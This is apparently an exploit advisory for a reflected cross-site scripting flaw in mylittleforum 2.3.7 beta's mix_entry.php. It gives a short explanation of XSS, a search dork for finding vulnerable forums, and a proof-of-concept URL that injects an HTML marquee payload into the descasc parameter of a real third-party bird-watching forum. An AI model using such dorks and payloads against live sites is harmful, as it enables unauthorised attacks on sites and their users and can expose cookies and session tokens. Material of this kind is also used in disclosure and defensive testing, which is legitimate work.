======================================================================== | # Title : mylittleforum-2.3.7 beta "mix_entry.php" XSS vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on : windows 8.1 Français V.(Pro) | # Version : 2.3.7 | # Vendor : https://codeload.github.com/ilosuna/mylittleforum/zip/v2.3.7beta | # Dork : powered by my little forum ======================================================================== poc : Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser. This vulnerability affects /mix_entry.php Attack details : Path Fragment input / was set to <marquee><font color=lime size=32>indoushka</font></marquee> The input is reflected inside a text element. http://www.israbirding.com/israelbirdsforum/mix_entry.php?category=0&descasc=DESC%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3Eindoushka%3C/font%3E%3C/marquee%3E&id=1629&order=last_answer&page=1 Greetz : ⵏⴻⴽⴽⴰⴰ ⵙⴰⵍⴰⵀ ⴻⴷⴷⵉⵏⴻ------ⵯⵉⵯⴰ ⴰⵎⴰⵣⵉⴳⴻⵏ-------- ⵎⴰⵅⵡⴻⵍⵍ ⵛⴰⵛⵀⴷoⵍⵍⴰⵔ ------ | jericho * Larry W. Cashdollar * moncet-1 * achraf.tn | | ===================== pⴰⵛⴽⴻⵜ ⵙⵜoⵔⵎ ⵙⴻⵛⵓⵔⵉⵜⵢ =============================